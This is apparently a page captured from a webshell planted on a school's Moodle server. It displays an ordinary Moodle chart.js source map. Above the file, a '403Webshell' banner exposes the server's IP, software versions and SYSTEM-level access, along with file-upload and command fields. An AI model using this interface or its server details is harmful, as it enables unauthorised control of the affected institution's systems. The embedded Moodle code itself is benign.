403Webshell
Server IP : 104.21.80.248  /  Your IP : 162.159.115.41
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Inetpub/www/myschool/triamudom/tuprblearn/lib/amd/build/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Inetpub/www/myschool/triamudom/tuprblearn/lib/amd/build/chart_output_chartjs.min.js.map
{"version":3,"sources":["../src/chart_output_chartjs.js"],"names":["define","$","Chartjs","Axis","Bar","Base","Line","Pie","Series","makeAxisId","xy","index","Output","prototype","constructor","apply","arguments","_canvas","_node","prop","append","_build","Object","create","_config","_chartjs","_makeConfig","_cleanData","data","Array","map","value","html","text","_getChartType","type","_chart","getType","TYPE","getHorizontal","getDoughnut","_makeAxisConfig","axis","scaleData","id","getPosition","POS_DEFAULT","position","getLabel","scaleLabel","display","labelString","getStepSize","ticks","stepSize","getMax","max","getMin","min","config","labels","getLabels","datasets","_makeDatasetsConfig","options","title","getTitle","getXAxes","forEach","i","axisLabels","scales","xAxes","callback","stacked","_isStacked","bind","getYAxes","yAxes","parseInt","tooltips","callbacks","label","_makeTooltip","sets","getSeries","series","colors","hasColoredValues","getColors","getColor","dataset","getValues","fill","backgroundColor","borderColor","lineTension","_isSmooth","getXAxis","xAxisID","getYAxis","yAxisID","tooltipItem","datasetIndex","serieLabel","serieLabels","chartData","tooltipData","tooltip","xLabel","yLabel","chartLabels","push","smooth","getSmooth","TYPE_LINE","getStacked","update","extend"],"mappings":"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","sourcesContent":["// This file is part of Moodle - http://moodle.org/\n//\n// Moodle is free software: you can redistribute it and/or modify\n// it under the terms of the GNU General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n//\n// Moodle is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n// GNU General Public License for more details.\n//\n// You should have received a copy of the GNU General Public License\n// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.\n\n/**\n * Chart output for chart.js.\n *\n * @package    core\n * @copyright  2016 Frédéric Massart - FMCorz.net\n * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later\n * @module     core/chart_output_chartjs\n */\ndefine([\n    'jquery',\n    'core/chartjs',\n    'core/chart_axis',\n    'core/chart_bar',\n    'core/chart_output_base',\n    'core/chart_line',\n    'core/chart_pie',\n    'core/chart_series'\n], function($, Chartjs, Axis, Bar, Base, Line, Pie, Series) {\n\n    /**\n     * Makes an axis ID.\n     *\n     * @param {String} xy Accepts 'x' and 'y'.\n     * @param {Number} index The axis index.\n     * @return {String}\n     */\n    var makeAxisId = function(xy, index) {\n        return 'axis-' + xy + '-' + index;\n    };\n\n    /**\n     * Chart output for Chart.js.\n     *\n     * @class\n     * @alias module:core/chart_output_chartjs\n     * @extends {module:core/chart_output_base}\n     */\n    function Output() {\n        Base.prototype.constructor.apply(this, arguments);\n\n        // Make sure that we've got a canvas tag.\n        this._canvas = this._node;\n        if (this._canvas.prop('tagName') != 'CANVAS') {\n            this._canvas = $('<canvas>');\n            this._node.append(this._canvas);\n        }\n\n        this._build();\n    }\n    Output.prototype = Object.create(Base.prototype);\n\n    /**\n     * Reference to the chart config object.\n     *\n     * @type {Object}\n     * @protected\n     */\n    Output.prototype._config = null;\n\n    /**\n     * Reference to the instance of chart.js.\n     *\n     * @type {Object}\n     * @protected\n     */\n    Output.prototype._chartjs = null;\n\n    /**\n     * Reference to the canvas node.\n     *\n     * @type {Jquery}\n     * @protected\n     */\n    Output.prototype._canvas = null;\n\n    /**\n     * Builds the config and the chart.\n     *\n     * @protected\n     */\n    Output.prototype._build = function() {\n        this._config = this._makeConfig();\n        this._chartjs = new Chartjs(this._canvas[0], this._config);\n    };\n\n    /**\n     * Clean data.\n     *\n     * @param {(String|String[])} data A single string or an array of strings.\n     * @returns {(String|String[])}\n     * @protected\n     */\n    Output.prototype._cleanData = function(data) {\n        if (data instanceof Array) {\n            return data.map(function(value) {\n                return $('<span>').html(value).text();\n            });\n        } else {\n            return $('<span>').html(data).text();\n        }\n    };\n\n    /**\n     * Get the chart type and handles the Chart.js specific chart types.\n     *\n     * By default returns the current chart TYPE value. Also does the handling of specific chart types, for example\n     * check if the bar chart should be horizontal and the pie chart should be displayed as a doughnut.\n     *\n     * @method getChartType\n     * @returns {String} the chart type.\n     * @protected\n     */\n    Output.prototype._getChartType = function() {\n        var type = this._chart.getType();\n\n        // Bars can be displayed vertically and horizontally, defining horizontalBar type.\n        if (this._chart.getType() === Bar.prototype.TYPE && this._chart.getHorizontal() === true) {\n            type = 'horizontalBar';\n        } else if (this._chart.getType() === Pie.prototype.TYPE && this._chart.getDoughnut() === true) {\n            // Pie chart can be displayed as doughnut.\n            type = 'doughnut';\n        }\n\n        return type;\n    };\n\n    /**\n     * Make the axis config.\n     *\n     * @protected\n     * @param {module:core/chart_axis} axis The axis.\n     * @param {String} xy Accepts 'x' or 'y'.\n     * @param {Number} index The axis index.\n     * @return {Object} The axis config.\n     */\n    Output.prototype._makeAxisConfig = function(axis, xy, index) {\n        var scaleData = {\n            id: makeAxisId(xy, index)\n        };\n\n        if (axis.getPosition() !== Axis.prototype.POS_DEFAULT) {\n            scaleData.position = axis.getPosition();\n        }\n\n        if (axis.getLabel() !== null) {\n            scaleData.scaleLabel = {\n                display: true,\n                labelString: this._cleanData(axis.getLabel())\n            };\n        }\n\n        if (axis.getStepSize() !== null) {\n            scaleData.ticks = scaleData.ticks || {};\n            scaleData.ticks.stepSize = axis.getStepSize();\n        }\n\n        if (axis.getMax() !== null) {\n            scaleData.ticks = scaleData.ticks || {};\n            scaleData.ticks.max = axis.getMax();\n        }\n\n        if (axis.getMin() !== null) {\n            scaleData.ticks = scaleData.ticks || {};\n            scaleData.ticks.min = axis.getMin();\n        }\n\n        return scaleData;\n    };\n\n    /**\n     * Make the config config.\n     *\n     * @protected\n     * @param {module:core/chart_axis} axis The axis.\n     * @return {Object} The axis config.\n     */\n    Output.prototype._makeConfig = function() {\n        var config = {\n            type: this._getChartType(),\n            data: {\n                labels: this._cleanData(this._chart.getLabels()),\n                datasets: this._makeDatasetsConfig()\n            },\n            options: {\n                title: {\n                    display: this._chart.getTitle() !== null,\n                    text: this._cleanData(this._chart.getTitle())\n                }\n            }\n        };\n\n        this._chart.getXAxes().forEach(function(axis, i) {\n            var axisLabels = axis.getLabels();\n\n            config.options.scales = config.options.scales || {};\n            config.options.scales.xAxes = config.options.scales.xAxes || [];\n            config.options.scales.xAxes[i] = this._makeAxisConfig(axis, 'x', i);\n\n            if (axisLabels !== null) {\n                config.options.scales.xAxes[i].ticks.callback = function(value, index) {\n                    return axisLabels[index] || '';\n                };\n            }\n            config.options.scales.xAxes[i].stacked = this._isStacked();\n        }.bind(this));\n\n        this._chart.getYAxes().forEach(function(axis, i) {\n            var axisLabels = axis.getLabels();\n\n            config.options.scales = config.options.scales || {};\n            config.options.scales.yAxes = config.options.scales.yAxes || [];\n            config.options.scales.yAxes[i] = this._makeAxisConfig(axis, 'y', i);\n\n            if (axisLabels !== null) {\n                config.options.scales.yAxes[i].ticks.callback = function(value) {\n                    return axisLabels[parseInt(value, 10)] || '';\n                };\n            }\n            config.options.scales.yAxes[i].stacked = this._isStacked();\n        }.bind(this));\n\n        config.options.tooltips = {\n            callbacks: {\n                label: this._makeTooltip.bind(this)\n            }\n        };\n\n        return config;\n    };\n\n    /**\n     * Get the datasets configurations.\n     *\n     * @protected\n     * @return {Object[]}\n     */\n    Output.prototype._makeDatasetsConfig = function() {\n        var sets = this._chart.getSeries().map(function(series) {\n            var colors = series.hasColoredValues() ? series.getColors() : series.getColor();\n            var dataset = {\n                label: this._cleanData(series.getLabel()),\n                data: series.getValues(),\n                type: series.getType(),\n                fill: false,\n                backgroundColor: colors,\n                // Pie charts look better without borders.\n                borderColor: this._chart.getType() == Pie.prototype.TYPE ? '#fff' : colors,\n                lineTension: this._isSmooth(series) ? 0.3 : 0\n            };\n\n            if (series.getXAxis() !== null) {\n                dataset.xAxisID = makeAxisId('x', series.getXAxis());\n            }\n            if (series.getYAxis() !== null) {\n                dataset.yAxisID = makeAxisId('y', series.getYAxis());\n            }\n\n            return dataset;\n        }.bind(this));\n        return sets;\n    };\n\n    /**\n     * Get the chart data, add labels and rebuild the tooltip.\n     *\n     * @param {Object[]} tooltipItem The tooltip item data.\n     * @param {Object[]} data The chart data.\n     * @returns {String}\n     * @protected\n     */\n    Output.prototype._makeTooltip = function(tooltipItem, data) {\n\n        // Get series and chart data to rebuild the tooltip and add labels.\n        var series = this._chart.getSeries()[tooltipItem.datasetIndex];\n        var serieLabel = series.getLabel();\n        var serieLabels = series.getLabels();\n        var chartData = data.datasets[tooltipItem.datasetIndex].data;\n        var tooltipData = chartData[tooltipItem.index];\n\n        // Build default tooltip.\n        var tooltip = [];\n\n        // Pie and doughnut charts does not have axis.\n        if (tooltipItem.xLabel == '' && tooltipItem.yLabel == '') {\n            var chartLabels = this._cleanData(this._chart.getLabels());\n            tooltip.push(chartLabels[tooltipItem.index]);\n        }\n\n        // Add series labels to the tooltip if any.\n        if (serieLabels !== null) {\n            tooltip.push(this._cleanData(serieLabels[tooltipItem.index]));\n        } else {\n            tooltip.push(this._cleanData(serieLabel) + ': ' + tooltipData);\n        }\n\n        return tooltip;\n    };\n\n    /**\n     * Verify if the chart line is smooth or not.\n     *\n     * @protected\n     * @param {module:core/chart_series} series The series.\n     * @returns {Bool}\n     */\n    Output.prototype._isSmooth = function(series) {\n        var smooth = false;\n        if (this._chart.getType() === Line.prototype.TYPE) {\n            smooth = series.getSmooth();\n            if (smooth === null) {\n                smooth = this._chart.getSmooth();\n            }\n        } else if (series.getType() === Series.prototype.TYPE_LINE) {\n            smooth = series.getSmooth();\n        }\n\n        return smooth;\n    };\n\n    /**\n     * Verify if the bar chart is stacked or not.\n     *\n     * @protected\n     * @returns {Bool}\n     */\n    Output.prototype._isStacked = function() {\n        var stacked = false;\n\n        // Stacking is (currently) only supported for bar charts.\n        if (this._chart.getType() === Bar.prototype.TYPE) {\n            stacked = this._chart.getStacked();\n        }\n\n        return stacked;\n    };\n\n    /** @override */\n    Output.prototype.update = function() {\n        $.extend(true, this._config, this._makeConfig());\n        this._chartjs.update();\n    };\n\n    return Output;\n\n});\n"],"file":"chart_output_chartjs.min.js"}

Youez - 2016 - github.com/yon3zu
LinuXploit